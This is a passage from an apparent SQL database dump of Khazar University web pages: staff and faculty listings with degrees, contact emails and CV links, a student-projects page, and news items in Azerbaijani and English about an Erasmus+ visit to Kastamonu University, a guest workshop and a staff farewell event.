</p>\r\n<p><strong>E-mail:</strong><a href=\"mailto:bbaysal@khazar.org\">bbaysal[at]khazar.org</a></p><p><br></p><p><br></p><hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/economics/CV-Elsevar-Ibadov.pdf\"><img src=\"http://www.khazar.org/files/economics/elsevar_ibadov.png\" style=\"width:150px;height:184px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Elsevar Ibadov</a> - Coordinator</strong></p><p>PhD in Financial Accounting    (Ataturk University, Turkey)  </p><p>MS in Financial Accounting    (Dumlupinar&nbsp;University,&nbsp;Turkey)    </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:eibadov@khazar.org\">eibadov[at]khazar.org</a>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><img src=\"http://www.khazar.org/files/economics/ayten_baxisova.JPG\" style=\"width:150px;height:185px;margin:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/economics/aytan.bakhishova_CV.pdf\">Aytan Bakhishova</a>&nbsp;- Assistant in&nbsp;Economics and Management Department</strong></p><p>MS&nbsp;in Business Administration (Azerbaijan State University of Economics, Azerbaijan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:arahimova@khazar.org\">arahimova[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p>'),(3712,2169,'az','“Xəzər”in əməkdaşları Kastamonuda','2017-ci il  mayın 7-14-də Xəzər Universitetinin Coğrafiya və ətraf mühit departamenti və Biologiya departamentinin 6 nəfərlik müəllim heyəti -  Rövşən Abbasov, İradə Xəlilova...','<p>2017-ci il&nbsp; mayın 7-14-də Xəzər Universitetinin Coğrafiya və ətraf mühit departamenti və Biologiya departamentinin 6 nəfərlik müəllim heyəti -&nbsp; Rövşən Abbasov, İradə Xəlilova, Fuad Cəfərli, Rövşən Kərimov, Ramil Sadıqov və Cavid Ocaği Erasmus+ proqramı çərçivəsində Türkiyənin Kastamonu Universitetində&nbsp; olmuşlar. Səfər günlərində\r\nonlar universitetin rektoru Prof. Dr Seyit Aydın, Erasmus koordinatoru Dos. Dr.\r\nƏhmət Sivacıoğlu, Meşəçilik Fakültəsinin Dekanı&nbsp;Prof. Dr &nbsp;Ömər Küçük\r\nvə Təhsil fakültəsinin Dekanı Prof. Dr. İbrət Ünal ilə görüşmüşlər. </p>\r\n<p>“Xəzər”in əməkdaşları, eyni\r\nzamanda, Kürə Dağları Milli Parkında, Meşəçilik idarəsində olmuş, yerli QHT\r\nnümayəndələri ilə görüşlər keçirmişlər. </p>\r\n<p>Qeyd edək ki, Xəzər Universitetinin\r\nKastamonu Universiteti ilə əlaqələri 2012-ci ildən başlamışdır. Hal-hazırda\r\nKastamonu Universiteti meşəçilik üzrə Türkiyənin ən tanınmış universiteti hesab\r\nolunur.</p>'),(3713,2131,'en','Instructor of Kastamonu University Hold Workshop at Khazar University','On May 3, 2017, a lecture / workshop on “Endocommensal Ciliates (Ciliophora: Protista) of Herbivores” - about protist (Protozoa) for students and researchers was held with...','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On May 3, 2017,&nbsp;a lecture / workshop on “<em>Endocommensal Ciliates (Ciliophora: Protista)\r\nof Herbivores</em>” - about protist (Protozoa)&nbsp;for students and researchers was held\r\nwith coordination of the departments of Biological Sciences and Geography and\r\nEnvironment at Khazar University. The lecture was delivered by Dr.Gozde Gurelli, instructor of the Faculty of Arts\r\nand Sciences, Department of Biology at Kastamonu University in Turkey.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">At the end, Dr.Gozde Gurelli answered the questions of the students and\r\nresearches.</p>'),(3053,1803,'az','Əməkdaşımızın “Xəzər”də əmək fəaliyyətini başa çatdırması münasibətilə tədbir','Dekabrın 29-da Xəzər Universitetinin Mədəniyyət mərkəzində universitetin Direktorlar və Qəyyumlar Şurası sədrinin assistenti Marta Lourinin “Xəzər”də əmək fəaliyyətini başa...','<p>Dekabrın 29-da Xəzər Universitetinin Mədəniyyət mərkəzində universitetin Direktorlar və Qəyyumlar Şurası sədrinin assistenti Marta Lourinin “Xəzər”də əmək fəaliyyətini başa çatdırması və vətəni ABŞ-a yola salınması münasibətilə tədbir keçirildi. Tədbirdə universitetin rəhbərliyi, əməkdaşlar və qonaqlar iştirak edirdilər.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, Marta Lourinin yeddi il ərzində “Xəzər”dəki fəaliyyətini yüksək dəyərləndirdi, onun işgüzar, çalışqan, məsuliyyətli işçi olduğunu nəzərə çatdırdı, şəxsi keyfiyyətlərindən danışdı. Universitetin Multimedia mərkəzinin Marta Louri haqqında hazırladığı slayd-şou nümayiş etdirildi.</p><p>Digər çıxış edənlər – universitetin rektoru Hassan Niknafs, prorektor İsaxan İsaxanlı, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, Məzunlarla iş mərkəzinin direktoru Baba Bayramlı, Təhsil fakültəsinin müəllimi Qoşqar Məhərrəmov və AMEA Ziya Bünyadov adına Şərqşünaslıq İnstitutunun aparıcı elmi işçisi Solmaz Rüstəmova-Tohidi Marta Lourinin əmək fəaliyyətinin müxtəlif cəhətlərindən və şəxsi məziyyətlərindən söz açdılar.</p><p>Marta Louriyə gül dəstəsi, hədiyyələr və &nbsp;“Xəzər”dəki fəaliyyəti haqqında sertifikat təqdim olundu. Marta Louri çıxış edərək, universitetin rəhbərliyinə və əməkdşlarına təşəkkürünü bildirdi.</p><p>Tədbir musiqi nömrələri ilə müşayiət olundu.</p>'),(584,382,'az','Tələbələrin layihələri','Tələbələrin layihələri','<p>Yüksək keyfiyyətli təhsil ilə yanaşı, Xəzər Universiteti&nbsp; maraqlı universitet həyatı ilə də tanınır. Tələbələr tədris prosesində müxtəlif təqdimatlar və layihələr həyata keçirməklə öz bacarıqlarını inkişaf etdirir. Bu cür müasir təhsil metodları Xəzər Universitetində uzun müddətdir ki, tətbiq olunur və bu sahədə böyük uğurlar əldə edilmişdir. Təqdimatlar və layihələr vasitəsilə tələbələr birgə işləmək bacarığı əldə edir, dünyagörüşünü genişləndirir və auditoriya qarşısında çıxış etməyi öyrənir.  <br></p>\r\n<p style=\"text-align:left\">Biz&nbsp;-&nbsp;İqtisadiyyat və Menecement fakültəsinin birinci kurs tələbələri bu il bir neçə özünəməxsus layihələr hazırlamışıq. Bu təqdimatlar zamanı biz bir çox ölkənin səfirləri, nümayəndələri və ayrı-ayrı vətəndaşları ilə fikir mübadiləsi aparmışıq. Nəticədə, biz müxtəlif ölkələrin xüsusiyyətləri və onların inkişafı haqqında məlumat əldə edə bildik.</p><p style=\"text-align:left\">Misal üçün&nbsp;biz köhnəlməyən Hindistan adət-ənənələri, təkmilləşmiş&nbsp;əzəmətli Norveç qanun və qaydaları, Kanada iqtisadiyyatının daha yüksək səviyyəsi, Litva iqtisadiyyatının&nbsp;Azərbaycan iqtisadiyyat ilə müqayisəsi,&nbsp;Polşanın qeyri-adi mədəniyyəti haqqında və digər maraqlı əlavə məlumatlar əldə edərək&nbsp;dünyagörüşümüzü&nbsp;artırdıq.&nbsp;</p><p style=\"text-align:left\">Bundan başqa, biz Bakıda yerləşən yerli və xarici şirkətlərə müraciət etdik və onların köməyi ilə müxtəlif sahələrdə biznesin inkişaf dərəcəsini öyrəndik. Dövlət Neft Şirkəti və ya Atəşgah Sığorta Şirkəti kimi şirkətlərin məlumat almaq bizim üçün əhəmiyyətli idi. Bakı və Xəzər Universiteti haqqında hazırladığımız təqdimatlar bizim biliyimizi daha da gücləndirdi. Xəzər Universitetinə&nbsp;dair edilən &nbsp;təqdimat bənzərsiz idi, çünki o adi qaydada bütün ali məktəb tələbələri üçün deyil, yalnız bizim şəhərin ən istedadlı şagirdləri üçün keçirildi. Təqdimatı seyr edən məktəb şagirdləri bildirib ki, onlar gələcəkdə mütləq Xəzər Universitetini seçəcəklər.</p><p style=\"text-align:left\">Əlbəttə ki, birinci kurs tələbələri kimi, inkişafımızdakı bu ilk addımlar bizim üçün əvəzsiz olmuşdur və biz inanırıq ki, bu təqdimat &nbsp;kiçik olsa da, gələcəkdə bizim nailiyyətlərimizin əsas hissəsi olacaq.</p>'),(585,382,'en','Student Projects','Student Projects','<p> Along with&nbsp;its&nbsp;high-quality&nbsp;education, Khazar University is also known for its interesting campus life. Students develop their skills in the implementation of various presentations and projects in the educational process. These types of modern educational methods have been applied to Khazar University over a long period of time,&nbsp;and great successes have been achieved in this field. Through presentations and projects students gain teamwork skills, expand their worldview,&nbsp; and learn to perform in front of an audience.&nbsp;&nbsp;</p><p>This year, we&nbsp;-&nbsp;the first-year students of the School of Economics and Management&nbsp;—&nbsp;prepared several unique projects. During these presentations we exchanged views with ambassadors, representatives and individual citizens of many countries. As a result, we were able to learn about features of various countries and their development. For instance, we were informed about Indian traditions which do not grow old, majestic Norwegian laws and regulations which have been perfected, the higher level of Canada\'s economy, a comparison of the economy of Lithuania with that of Azerbaijan, the extraordinary culture of Poland, and other interesting supplementary information increasing our worldview. In addition, we have appealed to local and foreign companies based in Baku, and with their help we learned the rate of development of business, in various fields. Receiving information from companies like the State Oil Company or Ateshgah Insurance Company was significant for us. Presentations about Baku and Khazar University&nbsp;strengthened&nbsp;our knowledge once again. A presentation that was made about&nbsp;Khazar University was unique because it was given not just to all the high school students like usual, but to the most talented students in our city. School students watching the presentation said that they would definitely choose Khazar University in the future.</p><p>Of course, as first-year students it was invaluable for us&nbsp;to&nbsp;make these first steps in our development, and we believe that&nbsp;all of these presentations, even if they are small, will be part of the foundation of our achievements in the future.&nbsp;</p>'),(519,338,'en','Council','Council','<p><a href=\"http://www.khazar.org/files/education/Elza_Samadova_Comparative%20grammar%20of%20turkish%20dialects.doc\">Elza Samadova</a>,\r\nPh.D.&nbsp;(Dean School of Education), chair&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Vurgun_Eyyub.pdf\">Vurgun\r\nEyyub</a>, Ph.D.&nbsp;(Department of\r\nAzerbaijani Language and Literature)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Roza%20Arazova.pdf\">Roza Arazova</a>,\r\nPh.D.&nbsp;(Department of History and\r\nArchaeology)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Nuru_Safarov.pdf\">Nuru Safarov</a>,\r\nPh.D.&nbsp;(Department of Computer\r\nScience)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Rovshan%20Abbasov.pdf\">Rovshan Abbasov</a>,\r\nPh.D.&nbsp;(Department of\r\nGeography)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Irada_Khalilova.pdf\">Irada Khalilova</a>, Ph.D.&nbsp;(Department of Biology)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Ali_Huseynli.pdf\">Ali Huseynli</a>, Ph.D. (Department of Mathematics)  <br></p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Aygun_Verdiyeva.pdf\">Aygun Verdiyeva</a>, Ph.D. student&nbsp;(Department of Education), secretary&nbsp;</p>'),(514,335,'az','Müəllim və işçi heyəti','Müəllim və işçi heyəti','<p><a href=\"http://www.khazar.org/files/pdf/Hamlet_Isaxanli.pdf\">Hamlet A. Isakhanli</a> (DS, Professor)&nbsp;</p>\r\n<p>D.S. (Doctor of Science) in Mathematics, V.A. (Steklov Institute of Mathematics, Soviet Academy of Science, Moscow)</p><p>Ph.D. in Mathematics, Institute of Mathematics, Academy of Science of Azerbaijan and Faculty of Mathematics and Mechanics, (Lomonosov Moscow State University )<br></p><p>Combined B.S. and M.S. Program in Mathematics, Honors Diploma; (Department of Mathematics and Mechanics, Azerbaijan State University, Baku )</p>\r\n<p>Research interests: Mathematics. Education.\r\nLiterature. History of Science and Ideas. History of Culture and Education.\r\nTranslation Studies.</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Revan_Rahimov_CV.pdf\">Revan Rehimov</a> (Ph.D. Associate Professor)&nbsp;</p>\r\n<p>Ph.D. in Chemistry&nbsp;(Institute of Azerbaijan National\r\nAcademy of Sciences, Azerbaijan)</p><p>M.S.&nbsp;in Chemistry ,&nbsp;Excellent (Red Diploma)   (Department of Chemistry,\r\nBaku State University)</p>\r\n<p>Research interests: Organic synthesis,\r\nEcological chemistry (synthesis of novel surfactants and their application for\r\nremoval of the petroleum films)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Dilber_ZeynalovaAZ.pdf\">Dilbar Zeynalova</a>&nbsp;(Ph.D., Associate\r\nProfessor)&nbsp;<a href=\"http://www.khazar.org/files/Dilber_ZeynalovaAZ.pdf\"></a></p>\r\n<p>Ph.D. in&nbsp;(Azerbaijan University of\r\nLanguages, Azerbaijan)</p><p>Combined B.S. and M.S. Program in Russian Language and Literature&nbsp;add pedagogy ( Baku Slavic University)</p>\r\n<p>Research interests: Literature, Translation,\r\nCulture, Education</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Elza_Semedli.pdf\">Elza Semedli</a>&nbsp;(Ph.D., Associate\r\nProfessor)&nbsp;<a href=\"http://www.khazar.org/files/CV%20Elza%20Semedli%20(1).pdf\"></a></p>\r\n<p>Ph.D.&nbsp;in Philology&nbsp;(Selcuk University,\r\nInstitute of Social Sciences, Turkey)&nbsp;</p><p>M.S. in Philology (Institute of Social Sciences, Erciyes University, Turkey)</p>\r\n<p>Research interests: Historical And Modern\r\nTurkic Dialects, Literature, Linguistics, Education, Culture</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Vurgun_Eyyub.pdf\">Vurgun Eyyub</a>&nbsp;(Ph.D.,\r\nAssociate Professor)&nbsp;Vurgun\r\nEyyub&nbsp;</p><p>Ph.D.&nbsp;in Philology (National&nbsp;Academy of Science of Azerbaijan)<a href=\"http://www.khazar.org/files/CV_Vurgun%20Eyyub_az.pdf\"></a></p><p>Combined B.S. and M.S. Program in faculty of Azerbaijan language and Literature (Azerbaijan State Pedagogical University&nbsp;)<br></p>\r\n<p>Research Interests: Azerbaijan Literature,\r\nTheory of Literature, Azerbaijani Prose, Folklore, Education, Education Policy,\r\nSocial Research</p>\r\n<p>Research interests: literature, teaching\r\nmethods,&nbsp;Azerbaijani Prose,&nbsp;Folklore, Education, Education Policy</p>\r\n<p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Araz_Aslan_CV%20(3).pdf\">Araz&nbsp;Aslanli</a> (Ph.D. Associate Professor)&nbsp;<a href=\"http://www.khazar.org/files/Araz_Aslan_CV%20(3).pdf\"></a></p>\r\n<p>Ph.D. in International Relations&nbsp;(Ankara University:\r\nInstitute of Social Sciences,Turkey)</p><p>M.S. in Management (Ankara University)</p>\r\n<p>Research interests: Foreign policy of Turkey,\r\nPolitical and Economic Geography of World Countries.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Reyhan_Madatova_az.pdf\">Reyhan Madatova</a> (Ph.D. in\r\nPhilology)&nbsp;<a href=\"http://www.khazar.org/files/CV_Reyhan_Madatova_az.pdf\"></a></p>\r\n<p>Ph.D. in Philology&nbsp;(Azerbaijan National Academy of\r\nSciences, Institute of&nbsp;linguistics, Azerbaijan)</p><p>Combined B.S. and M.S. Program in Philology (Baku State University)<br></p>\r\n<p>Research interests: Linguistics, History of\r\nLinguistics, Phonology</p><p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/education/Irada_Khalilova_CV.pdf\">Irada&nbsp;Khalilova</a></p><p>Ph.D. in Biological\r\nSciences,&nbsp;Division of Allergology &amp; Immunology (Medical University,\r\nBaku, Azerbaijan )</p><p>Combined B.S. and M.S.\r\nProgram&nbsp;in&nbsp;Biology,&nbsp;Division of Biophysics &amp; Molecular\r\nBiology (Azerbaijan State University, Baku Azerbaijan)</p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/Rovshan%20Abbasov._CV.pdf\">Rovshan Abbasov</a> (Ph.D. in Geography)&nbsp;</p>\r\n<p>Ph.D. in Geography ( Baku State University)</p><p>Combined B.S. and M.S. Program&nbsp;in Geography (Baku State University)<br></p>\r\n<p>Research interests: Geography of Azerbaijan,\r\nWorld Geography, Envionmental managment and economy, Health, safety and environment</p>\r\n<p><br></p><p><a href=\"http://www.khazar.org/files/pdf/Mushfig_Orujov_CV.pdf\">Mushvig Orujov</a>&nbsp;(Ph.D., Assistant Professor)&nbsp;</p>\r\n<p>Ph.D. in&nbsp;Medical Sciences on Histology,\r\nCytology and Cell Biology,&nbsp;Department of Histology, Embryology and\r\nCytology (Azerbaijan Medical University , Baku)</p><p>Combined B.S. and M.S. Program&nbsp;in  Physician,\r\nFaculty of Medicine, Honor diploma (Azerbaijan Medical University , Baku)<br></p>\r\n<p>Research interests: Ultrastructure of\r\nthe sheath, vascular, glial and nervous elements in the cns, Optic Nerve and\r\nPNS in norm and at a pathology; Ultrastructure of the blood-brain, blood-nerve,\r\nespecially blood-optic nerve barriers; circulation and drainage of\r\nCerebrospinal Fluid, Electron Microscopy and Immunohistochemical investigation\r\nof Nervous System; Pathohistological investigation of Skin Diseases.</p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/Seadet_Khudaverdiyeva%20CV.pdf\">Seadet Khudaverdiyeva</a> (Ph.D., Associate Professor)&nbsp;</p><p>Ph.D. in Biophysics and Ecology&nbsp;</p>\r\n<p>Research Interests: Biology, Genetics,\r\nMicrobiology</p>\r\n<p><br></p><p><a href=\"http://www.khazar.org/files/education/Elmira_Mammadova_Kekech.pdf\">Elmira Mammadova&nbsp;Kekech</a>&nbsp;(Ph.D. in Philology)&nbsp;</p><p>Ph.D. in Literature of Turkic People&nbsp;( Azerbaijan National Academy of\r\nScience )<a href=\"http://www.khazar.org/files/Elmira%20M%C9%99mm%C9%99dova.pdf\"></a></p><p>M.S. in Philology (Baku State University)</p>\r\n<p>Research interests:&nbsp;Turkic Studies,\r\nworld literature</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Konul%20Mahyaddinova.pdf\">Konul Mahiyaddinova</a> (Ph.D. in General\r\nPedagogy)&nbsp;</p><p>Ph.D. in&nbsp;General Pedagogy\r\n(Azerbaijan Teachers Institute, Baku Slavic University)</p><p>M.S. in&nbsp;Theory and\r\nHistory of\r\nPedagogy (Baku Slavic University)</p>\r\n<p>Research Inerests:&nbsp;General pedagogy,\r\nhistory of pedagogy and education</p><p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Rukhsara%20Guliyeva.pdf\">Rukhsara Guliyeva</a> (PhD in History)&nbsp;<a href=\"http://www.khazar.org/files/Rukhsara%20Guliyeva.pdf\"></a></p>\r\n<p>Ph.D. in&nbsp;History&nbsp;(Azerbaijan National Academy of Sciences)</p><p>M.S. in&nbsp;Ancient\r\nand Medieval History (Baku State\r\nUniversity)</p>\r\n<p>Research Interests: History</p><p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Rashad_Khaligov_.CV.pdf\">Rashad Khaligov</a>&nbsp;(M.A. in Computer Science)</p>\r\n<p>Ph.D. in Computer Science (Khazar University, Azerbaijan)</p><p>M.S. in&nbsp;Development and Conception of secure software&nbsp;(Université de Franche-Comté,\r\nFrance)</p><p>Research interests: Hardeware and software\r\nsolutions management components</p><p>&nbsp;</p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Mukhtarova%20Gulbeniz.pdf\">Gulbeniz Mukhtarova</a> (Doc. Ph.D.)&nbsp;</p><p>Ph.D. in Chemistry (&nbsp;National Academy of Sciences of Azerbaijan)</p><p>M.S. in Chemistry (Gazi University,&nbsp;Ankara, Turkey)</p><p><br></p><p><a href=\"http://www.khazar.org/files/pdf/Khalid%20Mukhtarov%20CV.pdf\">Khalid\r\nMukhtarov</a>&nbsp;(Ph.D. in Geography)</p><p>Ph.D. in Geography&nbsp;(&nbsp;National Academy of Sciences of Azerbaijan)  </p><p>Combined B.S. and M.S. Program&nbsp;in Geography (Baku State University)<br></p><p>Research:&nbsp;Meteorology, Hydrology, Disaster risk reduction, hydrology, climate changes, forecasting, meteorological observations.&nbsp;</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Sevinc%20Allahverdiyeva%20cv.pdf\">Sevinj&nbsp;Allahverdiyeva</a>&nbsp;</p><p>M.A. in German Languages&nbsp;(Azerbaijan University of Language)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Rafiq%20Yolchuyev.pdf\">Rafiq Yolchuyev</a>&nbsp;</p><p>M.A. in Business Administration (Khazar University)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV_Ulkar_Bayramova.pdf\">Ulkar&nbsp;Bayramova</a>&nbsp;</p><p>Ph.D. student&nbsp;in&nbsp;Project Management (Tallinn University. Estonia)</p><p>M.A. in Pedagogy (Lankaran State University)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/CV%20OQTAY%20QUL%23U0130YEV.pdf\">Oqtay&nbsp;Quliyev</a>&nbsp;</p><p> Ph.D. in Marketing&nbsp;(Sakarya University, Turkey)<a href=\"http://www.khazar.org/files/CV%20OQTAY%20QUL%C4%B0YEV.doc\"></a></p><p>M.A. in Marketing (Sakarya University, Turkey)</p><p><br></p>\r\n<p>&nbsp;<a href=\"http://www.khazar.org/files/pdf/Cafarov%20Huseyn.pdf\">Huseyn Cafarov</a></p><p>M.A. in&nbsp;Biochemistry and Biotechnology (Baku State University)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Khuraman%20Nagizadeh.pdf\">Khuraman\r\nNagizadeh</a>&nbsp;</p><p>Ph.D. in Pedagogy (Azerbaijan Institute of Teachers)</p><p>MA in Methodology of Elementary Education (Specialization and increase the Pedagogical the İnstitute of retraining)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Terane_Isayeva_cv%20.pdf\">Tarana İsayeva</a>&nbsp;</p><p>Ph.D. in Pedagogy&nbsp;(National Academy of Sciences of Azerbaijan)  <a href=\"http://www.khazar.org/files/Tarana%20%C4%B0sayeva.doc\"></a></p><p>Combined B.S. and M.S. Program&nbsp;in History (&nbsp;Azerbaijan State Pedagogical University)</p><p><br></p>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Eynur%20Mehdiyev%20CV.pdf\">Eynur Mehdiyev</a></p><p><span class=\"Apple-tab-span\" style=\"white-space:pre\"></span></p>\r\n<p>M.A. in&nbsp;English Language Teaching (Coventry University, Coventry,&nbsp;United Kingdom)  </p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Tarlan_Garayev_CV.pdf\">Tarlan Garayev</a>&nbsp;</p><p>Ph.D. student in Mathematics (Institute of Mathematics and Mechanics of National Academy of Sciences of Azerbaijan)</p><p>M.A. in Mathematics (Institute of Mathematics and Mechanics of National Academy of Sciences of Azerbaijan)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Ibrahim_Nabiyev_CV.pdf\">Ibrahim Nabiyev</a>&nbsp;(Doctor of Science)</p><p><a href=\"http://www.khazar.org/files/education/Ibrahim_Nabiyev_CV.pdf\"></a>Ph.D. in Mathematics&nbsp;(Institute of Mathematics and Mechanics of National Academy of Sciences of Azerbaijan)</p><p>M.A. in Mathematics (Institute of Mathematics and Mechanics of National Academy of Sciences of Azerbaijan)<br></p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Cavidan_Aliyev_CV_.pdf\">Javidan Aliyev</a>&nbsp;</p><p>M.A. in&nbsp;Meteorological forecasts (Russian State Hydrometeorological\r\n University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Goshgar_Maharramov_CV_.pdf\">Goshgar Maharramov</a>&nbsp;</p><p>Ph.D. in&nbsp;Supervision, Planning and Economics (Eskişehir Osmangazi University)</p><p>M.A. in&nbsp;Philosophy of Education (Ankara University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/NAZ%C4%B0M_K%C6%8FR%C4%B0MOV_cv_.pdf\">Nazim Karimov</a>&nbsp;(Ph.D., Associate Professor)</p><p>&nbsp;Ph.D. in Differensial Equations (Moscow State University)</p><p>M.A. in Mathematics (Baku State University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Aysel_Heydarova.pdf\">Aysel Heydarova</a></p><p>M.A.&nbsp;in Biotechnology (Norwegian Science and Technology University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Aytac_Salimova_CV.PDF\">Aytaj Salimova</a></p><p>M.A.&nbsp;in Psychology,&nbsp;Developmental Psychology (Baku State University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Gulafat%20Shafiyeva.pdf\">Gulafat Shafiyeva</a></p><p><a href=\"http://www.khazar.org/files/education/Gulafat%20Shafiyeva.pdf\"></a>Ph.D. student in Biology (Khazar University)</p><p>M.S. in Biology (Lankaran State University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Parvana_Salmanova.pdf\">Parvana Salmanova</a></p><p><a href=\"http://www.khazar.org/files/education/Parvana_Salmanova.pdf\"></a>M.S. in Computer Science (Baku State University)</p><p>B.S. in Applied Mathematics (Baku State University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Gatiba_Makhmudova.pdf\">Gatiba Makhmudova</a></p><p><a href=\"http://www.khazar.org/files/education/Gatiba_Makhmudova.pdf\"></a>Ph.D. in Turkic languages (Azerbaijan National Academy of Science)</p><p>M.A. in Linguistics (Azerbaijan State Pedagogical University)</p><p><br></p><p><a href=\"http://www.khazar.org/files/education/Tunzala_Seyfullayeva.pdf\">Tunzala Seyfullayeva</a></p><p><a href=\"http://www.khazar.org/files/education/Tunzala_Seyfullayeva.pdf\"></a>Ph.D. in Literature of Turkic people (Azerbaijan National Academy of Science)</p>'),(520,338,'az','Şura','Şura','<p><a href=\"http://www.khazar.org/files/education/Elza_Samadova_Comparative%20grammar%20of%20turkish%20dialects.doc\">Elza Səmədova</a>, Fəlsəfə elmləri doktoru (Təhsil&nbsp;fakültəsinin dekanı), sədr&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Vurgun_Eyyub.pdf\">Vurğun Əyyub</a>, Fəlsəfə elmləri doktoru (Azərbaycan dili və ədəbiyyat&nbsp;departamenti)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Roza%20Arazova.pdf\">Roza Arazova</a>, Fəlsəfə elmləri doktoru (Tarix və Arxeologiya departamenti)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\r\n<p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/education/Nuru_Safarov.pdf\">Nuru Səfərov</a>,&nbsp;Fəlsəfə elmləri doktoru (Kompüter elmləri 